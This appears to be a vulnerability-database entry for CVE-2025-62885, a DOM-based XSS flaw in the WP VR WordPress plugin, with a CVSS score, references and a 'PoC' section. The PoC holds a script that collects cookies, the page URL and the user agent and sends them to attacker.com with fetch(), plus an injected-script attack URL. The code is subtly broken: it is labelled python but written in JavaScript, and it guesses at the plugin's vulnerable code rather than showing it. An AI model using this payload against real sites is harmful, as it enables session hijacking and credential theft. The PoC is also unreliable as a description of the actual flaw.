CVE-2025-62885

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RexTheme WP VR wpvr allows DOM-Based XSS.This issue affects WP VR: from n/a through <= 8.5.48.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP VR <= 8.5.48

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-62885 PoC - DOM-based XSS in WP VR plugin
// Target: WordPress site with WP VR plugin <= 8.5.48
// Author: PatchStack

const poc = `
<!-- XSS Payload for WP VR DOM-based XSS -->
<script>
  // Malicious script that steals cookies and sends to attacker server
  (function() {
    const stolenData = {
      cookies: document.cookie,
      url: window.location.href,
      userAgent: navigator.userAgent,
      referrer: document.referrer
    };
    
    // Send stolen data to attacker's server
    fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(stolenData)));
    
    // Optional: Session hijacking example
    const sessionCookie = document.cookie.match(/wordpress_[^=]+=[^;]+/);
    if (sessionCookie) {
      console.log('Session cookie captured:', sessionCookie[0]);
    }
  })();
</script>
`;

// Attack vector demonstration
const attackUrl = 'https://target-wordpress-site.com/?vr_id="><script>alert("XSS")</script>';

// DOM-based XSS trigger example
const domXssTrigger = `
// If the plugin reflects URL parameters into the DOM without sanitization
const params = new URLSearchParams(window.location.search);
const vrId = params.get('vr_id');
// Vulnerable code: directly inserting into DOM
document.getElementById('wpvr-container').innerHTML = vrId;
`;

console.log('CVE-2025-62885 PoC generated');
console.log('Attack URL:', attackUrl);

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62885
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62885
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62885/
[4] VulDB https://vuldb.com/cve/CVE-2025-62885
[5] https://patchstack.com/database/Wordpress/Plugin/wpvr/vulnerability/wordpress-wp-vr-plugin-8-5-42-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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